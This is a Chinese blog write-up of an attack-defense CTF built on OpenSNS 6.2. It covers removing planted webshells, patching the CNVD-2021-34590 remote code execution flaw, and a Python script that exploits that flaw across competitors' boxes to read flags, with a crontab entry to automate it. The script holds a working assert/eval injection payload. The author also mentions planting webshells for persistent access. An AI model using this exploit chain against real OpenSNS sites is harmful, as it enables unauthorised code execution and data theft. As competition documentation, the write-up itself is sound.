image-20221104084714225

最终得分111913,因为不太会pwn,所以只能靠web得分了呜呜

0x01 拿到自己的Box

拿到自己的box之后,第一时间把源码下载下来:

image-20221104085116310

站点为:OPENSNS V6.2

审计一下代码

因为出门只有mac没有win不能直接用D盾扫,只好手动审计一下了

.config.php上发现了一个不死马,最后知道这是三哈传的

image-20221104085356624

还有一个一句话木马:

image-20221104085441370

这个一句话木马直接删除就好。

不死马的话直接修改.htaccess文件,添加一行:

1
2
3
4
5
6
7
8
<IfModule mod_rewrite.c>
Options +FollowSymlinks
RewriteEngine On

······
#修复不死马
RewriteRule (.*).config.php$ - [F]
······

再次访问,就可以看到 这个不死马已经是403了。

0x02 RCE修复

CNVD-2021-34590,参考文章:Opensns 命令执行漏洞(CNVD-2021-34590)

漏洞代码位于 /app/Application/Weibo/Model/ShareModel.class.php

(比赛懒得修,直接修改文件后缀就好了

1
mv /app/Application/Weibo/Model/ShareModel.class.php /app/Application/Weibo/Model/ShareModel.class.php.bak

0x03 攻击其他靶机

知道了CNVD-2021-34590的利用方式,通过该rce可以编辑一个脚本进行自动获得flag,并提交:

因为打比赛的时间都在上课,所以脚本也是仓促写的,能用就行(看不懂别骂我

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import re
import os
for i in range(1,35):
if i == 9: #38009被ban,跳过
continue
url1 = "http://120.79.18.34:380"+"%02d"%i+"/http://106.54.23.125/index.php?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=jiang=@eval($_POST[cmd])%26id[0]=jiang"
passwd="cmd"
payload={
passwd:'system(\'cat /flag\');'
}
response=requests.post(url1,payload,timeout=1).text

pattern = re.compile('ISCTF.+\}')
result=pattern.findall(response)
# upurl = "http://120.79.18.34:19999/api/flag"
# header = {
# 'Authorization': '换成你的'
# }
flag = str(result).replace("[","").replace("]","").replace("'","").replace("[","")
a=os.system("curl -X POST http://120.79.18.34:19999/api/flag -H 'Authorization: 换成你的' -d '{ \"flag\": \""+flag+"\" }'")
print("http://120.79.18.34:380"+"%02d"%i+f"flag提交成功,返回数据:\n{a}")

前期由于大部分选手都没有修复这个漏洞,所以基本上是可以AK所有Web站点,得分也比较高。

也可以通过这个漏洞上传自己的小马,进行批量得分,通过上方的脚本修改一下就可以。

由于比赛是10分钟一轮,可以通过在Linux设置定时执行脚本来自动得分:

1
crontab -e #打开cron设置

输入下面定时设置:

1
1,11,21,31,41,51 * * * * python3 ~/script.py >> ~/log.log

表示每小时的1,11,21,31,41,51分钟执行一次该脚本

后面有个老哥在每轮开始就删站,不让其他人得分,导致其他人没有体验。

我只能通过先前埋的小马拿保底分…

最后主办方提前结束了比赛,挺没意思的